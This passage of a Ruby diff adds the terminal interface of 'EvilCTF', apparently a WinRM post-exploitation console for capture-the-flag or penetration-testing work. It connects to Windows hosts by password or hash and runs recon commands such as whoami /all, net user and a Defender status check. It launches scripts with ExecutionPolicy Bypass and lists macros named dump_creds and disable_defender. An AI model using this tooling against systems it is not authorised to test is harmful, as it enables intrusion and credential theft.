width, height = screen_size + total = [width, 40].max + + left_w = [[(total * 0.20).to_i, 18].max, total - 15].min + center_w = [total - left_w - 3, 10].max + + lines = [] + + # Top bar + lines << ("┌" + "─" * (total - 2) + "┐") + lines << ("│ " + fit_line("AWINRM OPERATOR CONSOLE", total - 4).ljust(total - 4) + " │") + meta = "Host: #{state[:host] || 'N/A'} Status: #{state[:connected] ? 'Connected' : 'Disconnected'} Shell: #{state[:shell] || 'PowerShell'} SSL: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}" + lines << ("│ " + fit_line(meta, total - 4).ljust(total - 4) + " │") + lines << ("└" + "─" * (total - 2) + "┘") + + # Pane headers (two-column layout) + lines << ("┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┐") + lines << ("│#{fit_line('MENU (Alt+1)', left_w).ljust(left_w)}" + + "│#{fit_line('INTERACTIVE CLI (Alt+2)', center_w).ljust(center_w)}│") + lines << ("├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┤") + + # Left menu content + # Top-level menu definitions (for rendering and interaction) + menus = { + sessions: ["Active Sessions", "New Session", "Close Session"], + tools: ["Recon", "Credential Access", "Lateral Movement", "Enumeration", "Upload / Download"], + macros: ["recon_basic", "recon_full", "dump_creds", "disable_defender"], + profiles: ["default.yml", "ctf.yml", "prod.yml"], + settings: ["SSL Verification", "Logging", "Shell Adapter", "Paths"] + } + + # Build left menu from `menus` with collapsible behavior + left = [] + open = app_state.menu_open + menus.each do |k, children| + label = k.to_s.capitalize + indicator = (open == k) ? '[-]' : '[+]' + left << "#{label} #{indicator}" + if open == k + children.each do |ch| + left << " #{ch}" + end + left << "" + end + end + + # Center CLI content (history + interactive prompt) + center = [] + center_inner_w = [center_w, 1].max + # Show last CLI history lines (real commands/results) + cli_hist = app_state.cli_history_snapshot || [] + wrapped_hist = wrap_lines(cli_hist, center_inner_w) + if wrapped_hist && !wrapped_hist.empty? + wrapped_hist.last(12).each do |ln| + center << ln.to_s + end + else + # Fallback to showing recent stream lines or example placeholders + if stream_lines && !stream_lines.empty? + wrap_lines(stream_lines, center_inner_w).last(12).each do |ln| + center << ln.to_s + end + else + center << "(no CLI history yet)" + end + end + + # Always show the latest stream lines after history for realtime feedback + if stream_lines && !stream_lines.empty? + center << "" + wrap_lines(stream_lines, center_inner_w).last(16).each do |ln| + center << ln.to_s + end + end + + # Show active uploads as additional info + uploads = app_state.uploads + if uploads && !uploads.empty? + center << "" + uploads.each do |id, info| + pct = if info[:total] && info[:sent] && info[:total] > 0 + ((info[:sent].to_f / info[:total]) * 100).round + else + 0 + end + center << "Upload #{info[:name]}: #{pct}% (#{info[:sent]}/#{info[:total]})" + end + end + + # Raw-input CLI line with prompt sourced from remote shell state. + center << "" + cli_input = app_state.cli_input || '' + prompt_text = state[:remote_prompt].to_s + prompt_text = 'PS> ' if prompt_text.strip.empty? + visible_prompt_line = build_prompt_display_line( + prompt_text: prompt_text, + cli_input: cli_input, + width: center_w + ) + center << visible_prompt_line + + # Render rows (two-column layout), constrained to terminal height. + fixed_rows = 4 + 3 + 1 + 1 # top bar + pane header + pane bottom + footer + visible_rows = [height - fixed_rows, 4].max + left_tail = left.last(visible_rows) + center_tail = center.last(visible_rows) + prompt_index = center.length - 1 + center_start = [center.length - visible_rows, 0].max + prompt_visible_row = prompt_index - center_start + + visible_rows.times do |i| + l = fit_line(left_tail[i] || "", left_w) + c = fit_line(center_tail[i] || "", center_w) + + lines << ("│#{l.ljust(left_w)}│#{c.ljust(center_w)}│") + end + + lines << ("└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┘") + + # Footer: include menu toggle hints and insert-mode indicator + mode_label = app_state.mode == :insert ? '[INSERT]' : '[NORMAL]' + footer = "[S] Sessions [T] Tools [M] Macros [P] Profiles [E] Settings [U] Upload [D] Download #{mode_label} [i] insert [q] quit" + lines << fit_line(footer, total).center(total) + + prompt_row = if prompt_visible_row >= 0 && prompt_visible_row < visible_rows + 7 + prompt_visible_row + else + 7 + visible_rows - 1 + end + center_text_col = left_w + 2 + prompt_col = center_text_col + [visible_prompt_line.length, center_w].min + + { + lines: lines, + cursor_anchor: { row: prompt_row, col: prompt_col }, + show_cursor: app_state.pane_focus == :cli, + width: total + } + end + + # Render fixed layout for compatibility with existing specs. + def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) + frame = build_fixed_layout_lines(shell, state, sessions, stream_lines) + frame[:lines].each { |ln| puts ln } + end + + def self.render_dashboard(shell, state = {}) + width, _height = screen_size + total = [[width, 72].max, 120].min + + puts "┌" + "─" * (total - 2) + "┐" + puts "│ EvilCTF Dashboard".ljust(total - 1) + "│" + puts "├" + "─" * (total - 2) + "┤" + + host = state[:host] || 'N/A' + user = state[:user] || 'N/A' + os_info = state[:os_info] || 'N/A' + + puts "│ " + fit_line("Host: #{host}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("User: #{user}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line(os_info, total - 4).ljust(total - 4) + " │" + + puts "├" + "─" * (total - 2) + "┤" + puts "│ " + fit_line("Connection Status: #{state[:connected] ? 'Connected' : 'Disconnected'}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("Shell Type: #{state[:shell] || 'PowerShell'}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("SSL Verification: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}", total - 4).ljust(total - 4) + " │" + puts "└" + "─" * (total - 2) + "┘" + end + + def self.run_enumeration(shell, type, cache = {}) + if cache[type] + puts "[*] Using cached enumeration for #{type}".colorize(:cyan) + puts cache[type] + return + end + + puts "[*] Running #{type} enumeration...".colorize(:cyan) + + cmds = case type + when 'basic' + ['whoami /all', 'net user', 'systeminfo'] + when 'network' + ['ipconfig /all', 'netstat -ano'] + when 'privilege' + ['whoami /priv', 'net localgroup Administrators', 'net share', 'tasklist /v'] + when 'av_check' + ['powershell "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,AntivirusEnabled,AMServiceEnabled"', 'sc query WinDefend'] + when 'persistence' + ['schtasks /query /fo LIST /v', 'reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"'] + when 'deep' + [ + 'whoami /all', + 'systeminfo', + 'net user', + 'net localgroup Administrators', + 'tasklist /v', + 'sc query state= all', + 'wmic product get Name,Version,InstallDate' + ] + else + ['systeminfo'] + end + + output = '' + cmds.each do |cmd| + begin + res = EvilCTF::Execution.run(shell, cmd, timeout: 30) + output += "\n> #{cmd}\n" + output += res.output.to_s + output += "\n" + unless res.ok + output += "[!] Command may have timed out or failed\n" + end + rescue => e + output += "\n> #{cmd}\n" + output += "[!] Enumeration command error: #{e.class}: #{e.message}\n" + end + end + + cache[type] = output + puts output + end + + # Lightweight interactive dashboard loop. Shows live info from `shell` and + # supports manual refresh ('r') and quit ('q'). Resilient if TTY gems are + # missing — will still render once and exit. + def self.start_rainfrog(shell = nil, options = {}) + begin + require 'tty-screen' + require 'tty-reader' + require 'tty-prompt' + require 'tty-cursor' + require 'concurrent' + rescue LoadError + # Render once and return if tty gems aren't available + render_fixed_layout(shell, host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: (options[:shell] || 'PowerShell'), ssl: options[:ssl]) + return + end + + reader = TTY::Reader.new + should_exit = false + shutdown = false + cursor = TTY::Cursor + previous_frame = [] + last_layout_version = app_state.layout_version + previous_winch = nil + + refresh_screen_size!(bump: false) + app_state.set_pane_focus(:sidebar) + + # Queue-driven async command execution keeps UI loop non-blocking. + command_queue = Queue.new + prompt_factory = lambda do + defined?(TTY::Prompt) ? TTY::Prompt.new : nil + end + controller = EvilCTF::TUI::Controller.new( + app_state: app_state, + command_queue: command_queue, + transfer_callback: lambda { |direction:, shell:| transfer_file(shell: shell, direction: direction) }, + root_path: File.expand_path('../..', __dir__), + prompt_factory: prompt_factory + ) + + begin + previous_winch = Signal.trap('WINCH') do + refresh_screen_size!(bump: true) + end + rescue ArgumentError + previous_winch = nil + end + + # If TUI was launched with an active shell, register it as the active session + begin + if shell + app_state.set_active_session(EvilCTF::ShellAdapter.wrap(shell)) rescue nil + end + rescue + end + + # Drain any pending stdin bytes (avoid accidentally processing keys + # that were typed before the TUI fully initialized) and set a short + # grace period during which keypresses are ignored. + begin + while IO.select([STDIN], nil, nil, 0) + begin + STDIN.read_nonblock(1024) + rescue IO::WaitReadable, Errno::EAGAIN, EOFError + break + rescue => _e + break + end + end + rescue + end + ignore_until = Time.now + 0.35 + + # UI state populated by a background poller (avoids blocking UI on WinRM) + ui_state = {} + poller = Thread.new do + loop do + break if shutdown + begin + current_shell = app_state.active_session || shell + if current_shell + h = EvilCTF::Execution.run(current_shell, 'hostname', timeout: 5) + u = EvilCTF::Execution.run(current_shell, '[Security.Principal.WindowsIdentity]::GetCurrent().Name', timeout: 5) + o = EvilCTF::Execution.run(current_shell, 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"', timeout: 8) + p = EvilCTF::Execution.run(current_shell, 'prompt', timeout: 3) + host = h && h.output ? h.output.strip : nil + user = u && u.output ? u.output.strip : nil + os = o && o.output ? o.output.strip : nil + remote_prompt = p && p.output ? p.output.to_s.strip : 'PS> ' + remote_prompt = 'PS> ' if remote_prompt.nil? || remote_prompt.empty? + remote_prompt = "#{remote_prompt} " unless remote_prompt.end_with?(' ') + connected = h && h.ok + ui_state_mutex.synchronize do + ui_state[:host] = host + ui_state[:user] = user + ui_state[:os_info] = os + ui_state[:connected] = connected + ui_state[:remote_prompt] = remote_prompt + end + else + ui_state_mutex.synchronize { ui_state[:connected] = false } + end + rescue => _e + ui_state_mutex.synchronize { ui_state[:connected] = false } + end + sleep 2 + end + end + + worker = Thread.new do + loop do + break if shutdown + begin + item = command_queue.pop + break if item == :shutdown + + shell_obj = item[:shell] + cmd = item[:cmd].to_s + next if shell_obj.nil? || cmd.empty? + + app_state.append_cli_history("PS> #{cmd}") + + res = EvilCTF::Execution.stream(shell_obj, cmd, timeout: 180, poll_interval: 1) do |chunk| + chunk.to_s.lines.each do |ln| + stripped = ln.chomp + app_state.append_stream(stripped) + app_state.append_cli_history(stripped) + end + end + + final_output = res&.output.to_s + unless final_output.empty? + final_output.lines.each do |ln| + stripped = ln.chomp + app_state.append_stream(stripped) + app_state.append_cli_history(stripped) + end + end + + unless res && res.ok + app_state.push_alert("Command failed or timed out: #{cmd}") + end + + begin + prompt_res = EvilCTF::Execution.run(shell_obj, 'prompt', timeout: 3) + prompt_line = prompt_res&.output.to_s.strip + prompt_line = 'PS> ' if prompt_line.empty? + prompt_line = "#{prompt_line} " unless prompt_line.end_with?(' ') + app_state.append_stream(prompt_line) + rescue + end + rescue => e + app_state.append_stream("[!] Worker error: #{e.class}: #{e.message}") + end + end + end + + while !should_exit + # Build state from poller snapshot + state = ui_state_mutex.synchronize { ui_state.dup } + state[:connected] = !!state[:connected] + state[:shell] = options[:shell] || 'PowerShell' + state[:ssl] = !!options[:ssl] + + # Ensure we use the currently active session (if any) for commands + current_shell = app_state.active_session || shell + + current_layout_version = app_state.layout_version + if current_layout_version != last_layout_version + previous_frame = [] + last_layout_version = current_layout_version + end + + # Use authoritative AppState for sessions/streams/results and render via frame diff. + frame_data = build_fixed_layout_lines(current_shell, state, app_state.sessions, app_state.stream_snapshot) + render_frame_diff( + cursor: cursor, + previous_frame: previous_frame, + frame: frame_data[:lines], + cursor_anchor: frame_data[:cursor_anchor], + show_cursor: frame_data[:show_cursor] + ) + previous_frame = frame_data[:lines] + + # Read a single key and react. Use IO.select with short timeout so + # the UI refreshes regularly and shows background output without + # requiring a key press. + key = nil + begin + if IO.select([STDIN], nil, nil, 0.2) + if reader.respond_to?(:read_key) + key = reader.read_key + elsif reader.respond_to?(:read_char) + key = reader.read_char + else + key = STDIN.getch rescue nil + end + else + key = nil + end + rescue Interrupt + should_exit = true + break + rescue => _e + key = nil + end + + # Ignore any accidental keypresses during the short grace period + if key && Time.now < ignore_until + key = nil + end + + # If user entered insert mode, capture typed characters directly into AppState.cli_input + if app_state.mode == :insert + # handle insert-mode keys: printable strings append, backspace removes, Enter submits + begin + if key == :return || key == :enter || key == "\r" || key == "\n" + cmd = app_state.cli_input.to_s.strip + app_state.set_cli_input('') + app_state.set_mode(:NORMAL) + if current_shell && cmd && !cmd.empty? + command_queue << { shell: current_shell, cmd: cmd } + else + app_state.append_stream('[!] No active shell to run command') unless current_shell + end + elsif key == :alt_1 || key == "\e1" + app_state.set_pane_focus(:sidebar) + app_state.set_mode(:NORMAL) + elsif key == :alt_2 || key == "\e2" + app_state.set_pane_focus(:cli) + app_state.set_mode(:insert) + elsif key == :backspace || key == :delete || key == 127 || key == "\u007F" + cur = app_state.cli_input.to_s + app_state.set_cli_input(cur[0..-2] || '') + elsif key.is_a?(String) && key.match?(/\A[[:print:]]+\z/) + # printable character(s) + cur = app_state.cli_input.to_s + app_state.set_cli_input(cur + key) + end + rescue => e + app_state.append_stream("[!] Insert-mode input error: #{e.class}: #{e.message}") + app_state.set_mode(:NORMAL) + end + next + end + + # Global hotkeys are routed through the controller in NORMAL mode. + if controller.handle_key(key: key, current_shell: current_shell) + next + end + + case key + when 'q', 'Q', :ctrl_c + should_exit = true + when 'r', 'R' + next + when 'i', 'I', :alt_2, "\e2" + # Enter raw input mode for the CLI pane. + app_state.set_pane_focus(:cli) + app_state.set_mode(:insert) + next + when '1' + # Map menu item '1' to recon_basic + if current_shell + Thread.new { run_recon_basic(current_shell) } + else + TUI.append_stream('[!] No active shell to run recon_basic') + end + next + when 'n', 'N' + # Start a new background session via prompt + begin + prompt = prompt_factory.call + profile = app_state.pending_connection + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: profile[:ip]) + user = prompt_value(prompt: prompt, label: 'User:', default: (profile[:user] || profile[:username] || 'Administrator')) + pass = prompt_value(prompt: prompt, label: 'Password:', default: profile[:password], secret: true) + if ip.to_s.strip.empty? || user.to_s.strip.empty? + TUI.append_stream('[!] Target IP and User are required') + next + end + # Create a connection and shell adapter in background and set it as active + t = Thread.new do + begin + opts = { + ip: ip, + user: user, + password: pass, + hash: profile[:hash], + port: profile[:port], + ssl: !!profile[:ssl], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + proxy: profile[:proxy], + user_agent: profile[:user_agent], + debug: profile[:debug] + } + port = opts[:port] || (opts[:ssl] ? 5986 : 5985) + scheme = opts[:ssl] ? 'https' : 'http' + endpoint = "#{scheme}://#{ip}:#{port}/wsman" + validation = EvilCTF::Session.test_connection( + endpoint: endpoint, + user: user, + password: pass, + hash: profile[:hash], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + transport: profile[:transport], + user_agent: profile[:user_agent], + ssl: opts[:ssl], + timeout: 10 + ) + unless validation[:ok] + render_modernization_report(target: ip, validation: validation) + next + end + conn = EvilCTF::Connection.build_full(**opts) + unless conn + TUI.append_stream("[!] Failed to create connection for #{ip}") + next + end + sh = conn.shell(:powershell) + adapter = EvilCTF::ShellAdapter.wrap(sh) + app_state.set_active_session(adapter) + TUI.add_session({ ip: ip, user: user, adapter: adapter, thread: Thread.current, started_at: Time.now }) + TUI.append_stream("[+] Connected and set active session: #{ip}") + rescue => e + TUI.append_stream("[!] Failed to start session #{ip}: #{e.class}: #{e.message}") + end + end + TUI.add_session({ ip: ip, user: user, thread: t, started_at: Time.now }) + rescue => e + # ignore prompt failures + end + next + when 'c', 'C', :f2 + # Focus CLI pane for raw input. + app_state.set_pane_focus(:cli) + app_state.set_mode(:insert) + next + when :f3 + # session enumeration / refresh results + if current_shell + Thread.new do + begin + res = EvilCTF::Execution.run(current_shell, 'Get-Process | Select-Object -First 10 Name,Id', timeout: 10) + TUI.append_stream(res.output.to_s) + unless res.ok + TUI.append_stream('[!] Enumeration may have timed out or failed') + end + rescue => e + TUI.append_stream("[!] Session enumerate error: #{e.class}: #{e.message}") + end + end + else + TUI.append_stream('[!] No active shell to enumerate') + end + next + when :f1 + # Map F1 to 'new session' flow + begin + prompt = prompt_factory.call + profile = app_state.pending_connection + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: profile[:ip]) + user = prompt_value(prompt: prompt, label: 'User:', default: (profile[:user] || profile[:username] || 'Administrator')) + pass = prompt_value(prompt: prompt, label: 'Password:', default: profile[:password], secret: true) + if ip.to_s.strip.empty? || user.to_s.strip.empty? + TUI.append_stream('[!] Target IP and User are required') + next + end + t = Thread.new do + begin + opts = { + ip: ip, + user: user, + password: pass, + hash: profile[:hash], + port: profile[:port], + ssl: !!profile[:ssl], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + proxy: profile[:proxy], + user_agent: profile[:user_agent], + debug: profile[:debug] + } + port = opts[:port] || (opts[:ssl] ? 5986 : 5985) + scheme = opts[:ssl] ? 'https' : 'http' + endpoint = "#{scheme}://#{ip}:#{port}/wsman" + validation = EvilCTF::Session.test_connection( + endpoint: endpoint, + user: user, + password: pass, + hash: profile[:hash], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + transport: profile[:transport], + user_agent: profile[:user_agent], + ssl: opts[:ssl], + timeout: 10 + ) + unless validation[:ok] + render_modernization_report(target: ip, validation: validation) + next + end + conn = EvilCTF::Connection.build_full(**opts) + unless conn + TUI.append_stream("[!] Failed to create connection for #{ip}") + next + end + sh = conn.shell(:powershell) + adapter = EvilCTF::ShellAdapter.wrap(sh) + app_state.set_active_session(adapter) + TUI.add_session({ ip: ip, user: user, adapter: adapter, thread: Thread.current, started_at: Time.now }) + TUI.append_stream("[+] Connected and set active session: #{ip}") + rescue => e + TUI.append_stream("[!] Failed to start session #{ip}: #{e.class}: #{e.message}") + end + end + TUI.add_session({ ip: ip, user: user, thread: t, started_at: Time.now }) + rescue => _e + # ignore prompt failures + end + next + else + # any other key refreshes + next + end + end + ensure + # Clean shutdown: stop poller and restore terminal mode + begin + shutdown = true + command_queue << :shutdown rescue nil + poller.join(1) if poller && poller.alive? + worker.join(1) if worker && worker.alive? + rescue + end + begin + Signal.trap('WINCH', previous_winch) if previous_winch + rescue + end + begin + print cursor.show rescue nil + system('stty sane') rescue nil + rescue + end + end + + def self.render_frame_diff(cursor:, previous_frame:, frame:, cursor_anchor:, show_cursor:) + width, _height = screen_size + max = [previous_frame.length, frame.length].max + output = String.new + + max.times do |idx| + current = frame[idx] || '' + prior = previous_frame[idx] || '' + next if current == prior + + line = fit_line(current, width) + output << cursor.move_to(0, idx) + output << line + output << "\e[0K" + end + + if previous_frame.length > frame.length + (frame.length...previous_frame.length).each do |idx| + output << cursor.move_to(0, idx) + output << "\e[0K" + end + end + + if show_cursor + output << cursor.show + if cursor_anchor && cursor_anchor[:row] && cursor_anchor[:col] + output << cursor.move_to(cursor_anchor[:col], cursor_anchor[:row]) + else + output << cursor.move_to(0, frame.length) + end + else + output << cursor.hide + if cursor_anchor && cursor_anchor[:row] && cursor_anchor[:col] + output << cursor.move_to(cursor_anchor[:col], cursor_anchor[:row]) + else + output << cursor.move_to(0, frame.length) + end + end + + print output unless output.empty? + end + + def self.toggle_menu(sel) + if app_state.menu_open == sel + app_state.set_menu_open(nil) + else + app_state.set_menu_open(sel) + end + end + + # Run a recon_basic enumeration using real commands and stream results + def self.run_recon_basic(shell) + id = "recon_basic_#{Time.now.to_i}_#{rand(9999)}" + app_state.add_task(id, { name: 'recon_basic', started_at: Time.now }) + app_state.set_last_scan_time(Time.now) + commands = ['whoami /all', 'net user', 'systeminfo'] + commands.each do |cmd| + begin + append_stream("[recon_basic] Running: #{cmd}") + # Use streaming API to get incremental updates as the remote job runs + full = '' + res = EvilCTF::Execution.stream(shell, cmd, timeout: 120, poll_interval: 1) do |chunk| + # chunk may contain multiple lines; append to AppState incrementally + app_state.append_result(chunk) + chunk.lines.each { |ln| append_stream("#{cmd} -> #{ln.chomp}") } + full << chunk + end + # If stream returned final output object with output, ensure final append + if res && res.output && !res.output.empty? + app_state.append_result(res.output) + end + unless res && res.ok + append_stream("[!] #{cmd} finished with non-zero exit or timeout") + app_state.push_alert("recon_basic: #{cmd} failed or timed out") + end + rescue => e + append_stream("[!] recon_basic command error: #{e.class}: #{e.message}") + app_state.push_alert("recon_basic exception: #{e.class}") + end + end + app_state.remove_task(id) + end + + def self.screen_size + width, height = app_state.screen_size + return [width, height] if width.to_i > 0 && height.to_i > 0 + + fallback_w = (TTY::Screen.width rescue 100) + fallback_h = (TTY::Screen.height rescue 30) + [fallback_w, fallback_h] + end + + def self.refresh_screen_size!(bump: false) + width = (TTY::Screen.width rescue 100) + height = (TTY::Screen.height rescue 30) + app_state.set_screen_size(width, height) + app_state.bump_layout_version if bump + end + + def self.fit_line(text, width) + t = text.to_s.gsub(/[\r\n]+/, ' ') + return '' if width <= 0 + return t if t.length <= width + return '…' if width == 1 + t[0, width - 1] + '…' + end + + def self.wrap_lines(lines, width) + return [] if lines.nil? || lines.empty? + + wrapped = [] + lines.each do |line| + text = line.to_s.gsub("\r", "") + segments = text.split("\n", -1) + segments.each do |segment| + if width <= 0 + wrapped << '' + elsif segment.empty? + wrapped << '' + else + segment.scan(/.{1,#{width}}/).each { |chunk| wrapped << chunk } + end + end + end + wrapped + end + + # Keep typed input visible even when prompt text is long. + # We prioritize input visibility and compress prompt prefix first. + def self.build_prompt_display_line(prompt_text:, cli_input:, width:) + prompt = prompt_text.to_s + input = cli_input.to_s + return '' if width <= 0 + plain = "#{prompt}#{input}" + return plain if plain.length <= width + + return '…' if width == 1 + + min_input_width = [[(width * 0.5).to_i, 8].max, width].min + + visible_input = if input.length <= min_input_width + input + elsif min_input_width <= 1 + '…' + else + tail = input[-(min_input_width - 1), min_input_width - 1] + "…#{tail}" + end + + remaining_for_prompt = width - visible_input.length + return visible_input[-width, width] if remaining_for_prompt <= 0 + + visible_prompt = if prompt.length <= remaining_for_prompt + prompt + elsif remaining_for_prompt <= 1 + '' + else + tail = prompt[-(remaining_for_prompt - 1), remaining_for_prompt - 1] + "…#{tail}" + end + + result = "#{visible_prompt}#{visible_input}" + result.length > width ? result[-width, width] : result + end + + def self.prompt_value(prompt:, label:, default:, secret: false) + return fallback_prompt(label: label, default: default, secret: secret) unless prompt + + if secret + begin + prompt.mask(label, quiet: true, filter: ->(value) { value.to_s.strip }) + rescue ArgumentError + prompt.mask(label) + end + else + begin + prompt.ask(label, default: default, quiet: true, filter: ->(value) { value.to_s.strip }) + rescue ArgumentError + prompt.ask(label, default: default) + end + end + end + + def self.fallback_prompt(label:, default:, secret: false) + if secret + print "#{label} " + value = (STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip) + puts + return value + end + + if default + print "#{label} [#{default}] " + else + print "#{label} " + end + value = STDIN.gets&.strip + value = default if (value.nil? || value.empty?) && !default.nil? + value + end + + def self.transfer_file(shell:, direction:) + prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) + adapter = EvilCTF::ShellAdapter.wrap(shell) + fm = adapter.respond_to?(:file_manager) ? adapter.file_manager : nil + unless fm + append_stream('[!] File manager unavailable for current session') + return + end + + case direction + when :upload + local_path = prompt_value(prompt: prompt, label: 'Local file path:', default: nil) + remote_path = prompt_value(prompt: prompt, label: 'Remote destination path:', default: nil) + return if local_path.to_s.empty? || remote_path.to_s.empty? + + Thread.new do + begin + fm.upload(local_path: local_path, remote_path: remote_path) + append_stream("[+] Upload complete: #{local_path} -> #{remote_path}") + rescue => e + append_stream("[!] Upload failed: #{e.class}: #{e.message}") + end + end + when :download + remote_path = prompt_value(prompt: prompt, label: 'Remote file path:', default: nil) + local_path = prompt_value(prompt: prompt, label: 'Local destination path:', default: nil) + return if local_path.to_s.empty? || remote_path.to_s.empty? + + Thread.new do + begin + fm.download(remote_path: remote_path, local_path: local_path) + append_stream("[+] Download complete: #{remote_path} -> #{local_path}") + rescue => e + append_stream("[!] Download failed: #{e.class}: #{e.message}") + end + end + end + end + + def self.render_modernization_report(target:, validation:) + status = validation[:ok] ? 'PASS' : 'FAIL' + error = validation[:error].to_s + report_text = validation[:report].to_s + + begin + require 'tty-table' + width, _height = screen_size + value_width = [[width - 28, 20].max, 120].min + rows = [ + ['Target', fit_line(target.to_s, value_width)], + ['Ruby 4 Compatibility', fit_line(status, value_width)], + ['Connection Error', fit_line(error.empty? ? 'N/A' : error, value_width)], + ['Report', fit_line(report_text.empty? ? 'No additional report' : report_text.gsub(/\s+/, ' ').strip, value_width)] + ] + table = TTY::Table.new(['Field', 'Value'], rows) + append_stream('') + append_stream('[!] Connection validation failed') + table.render(:unicode, multiline: true).lines.each { |ln| append_stream(ln.chomp) } + rescue LoadError + append_stream("[!] Connection validation failed for #{target}: #{error}") + append_stream(report_text) unless report_text.empty? + end + end + end +end diff --git a/lib/evil_ctf/tui_controller.rb b/lib/evil_ctf/tui_controller.rb new file mode 100644 index 0000000..a6348d4 --- /dev/null +++ b/lib/evil_ctf/tui_controller.rb @@ -0,0 +1,296 @@ +# frozen_string_literal: true + +require_relative 'app_state' +require_relative '../config/profiles' + +module EvilCTF + class TUI + class InputHandler + def hotkey_for(key:, mode:) + return nil if key.nil? + + return :focus_sidebar if key == :alt_1 || key == "\e1" + return :focus_cli if key == :alt_2 || key == "\e2" + return nil if mode == :insert + + return :sessions if key == 'S' || key == 's' + return :tools if key == 'T' || key == 't' + return :macros if key == 'M' || key == 'm' + return :profiles if key == 'P' || key == 'p' + return :settings if key == 'E' || key == 'e' + return :upload if key == 'U' || key == 'u' || key == :f5 + return :download if key == 'D' || key == 'd' || key == :f6 + + nil + end + end + + class SessionManager + def initialize(app_state:, prompt_factory:) + @app_state = app_state + @prompt_factory = prompt_factory + end + + def select_current_session + sessions = @app_state.sessions + return nil if sessions.empty? + + prompt = @prompt_factory.call + return nil unless prompt + + labels = sessions.map.with_index do |s, idx| + host = s[:ip] || s[:host] || 'unknown' + user = s[:user] || 'unknown' + "#{idx + 1}) #{host} (#{user})" + end + + selected_label = prompt.select('Active sessions', labels) + selected_idx = labels.index(selected_label) + selected = selected_idx ? sessions[selected_idx] : nil + return nil unless selected + + adapter = selected[:adapter] || selected[:shell] || selected[:session] + return nil unless adapter + + @app_state.set_current_session(adapter) + @app_state.set_pane_focus(:cli) + @app_state.set_mode(:insert) + selected + end + end + + class ToolRegistry + ALLOWED_EXTENSIONS = %w[.ps1 .psm1 .bat .cmd .exe .rb .sh].freeze + + def initialize(root_path:) + @root_path = root_path + end + + def scan + entries = [] + %w[tools scripts].each do |dir_name| + dir = File.join(@root_path, dir_name) + next unless Dir.exist?(dir) + + Dir.glob(File.join(dir, '**', '*')).sort.each do |path| + next unless File.file?(path) + ext = File.extname(path).downcase + next unless ALLOWED_EXTENSIONS.include?(ext) + + rel = path.sub(/^#{Regexp.escape(@root_path)}\//, '') + entries << { + name: File.basename(path), + path: rel, + source: dir_name.to_sym + } + end + end + + entries.uniq { |entry| entry[:path] } + end + + def build_command(entry:, args: '') + path = entry[:path].to_s + ext = File.extname(path).downcase + escaped_path = path.gsub('/', '\\\\') + suffix = args.to_s.strip + + command = case ext + when '.ps1', '.psm1' + "powershell -ExecutionPolicy Bypass -File \"#{escaped_path}\"" + when '.bat', '.cmd', '.exe' + "\"#{escaped_path}\"" + when '.rb' + "ruby \"#{path}\"" + when '.sh' + "bash \"#{path}\"" + else + path + end + + suffix.empty? ? command : "#{command} #{suffix}" + end + end + + class SettingsManager + THEMES = %w[default matrix stealth].freeze + + def initialize(app_state:, prompt_factory:) + @app_state = app_state + @prompt_factory = prompt_factory + end + + def open + prompt = @prompt_factory.call + return nil unless prompt + + selection = prompt.select('Settings', [ + 'Toggle Logging', + 'Change Theme', + 'Adjust Scrollback Limit' + ]) + + case selection + when 'Toggle Logging' + @app_state.toggle_setting(:logging_enabled) + { type: :toggle_logging, value: @app_state.settings[:logging_enabled] } + when 'Change Theme' + theme = prompt.select('Theme', THEMES) + @app_state.set_setting(:theme, theme) + { type: :theme, value: theme } + when 'Adjust Scrollback Limit' + current = @app_state.settings[:scrollback_limit].to_i + value = prompt.ask('Scrollback limit', default: current.to_s) + limit = [value.to_i, 50].max + @app_state.set_setting(:scrollback_limit, limit) + { type: :scrollback_limit, value: limit } + else + nil + end + end + end + + class Controller + attr_reader :tool_registry + + def initialize(app_state:, command_queue:, transfer_callback:, root_path:, prompt_factory:) + @app_state = app_state + @command_queue = command_queue + @transfer_callback = transfer_callback + @prompt_factory = prompt_factory + @root_path = root_path + + @input_handler = InputHandler.new + @session_manager = SessionManager.new(app_state: app_state, prompt_factory: prompt_factory) + @tool_registry = ToolRegistry.new(root_path: root_path) + @settings_manager = SettingsManager.new(app_state: app_state, prompt_factory: prompt_factory) + end + + def handle_key(key:, current_shell:) + action = @input_handler.hotkey_for(key: key, mode: @app_state.mode) + return false unless action + + case action + when :focus_sidebar + @app_state.set_pane_focus(:sidebar) + @app_state.set_mode(:NORMAL) + when :focus_cli + @app_state.set_pane_focus(:cli) + @app_state.set_mode(:insert) + when :sessions + selected = @session_manager.select_current_session + if selected + label = selected[:ip] || selected[:host] || 'unknown' + @app_state.append_stream("[+] Switched session to #{label}") + else + @app_state.append_stream('[!] No selectable sessions') + end + when :tools + launch_tool(current_shell: current_shell) + when :macros + launch_macro(current_shell: current_shell) + when :profiles + select_profile + when :settings + apply_settings + when :upload + enqueue_transfer(direction: :upload, shell: current_shell) + when :download + enqueue_transfer(direction: :download, shell: current_shell) + end + + true + end + + private + + def launch_tool(current_shell:) + return @app_state.append_stream('[!] No active shell for tool execution') unless current_shell + + entries = @tool_registry.scan + return @app_state.append_stream('[!] No tools found in tools/ or scripts/') if entries.empty? + + prompt = @prompt_factory.call + return unless prompt + + labels = entries.map { |entry| "#{entry[:name]} (#{entry[:source]})" 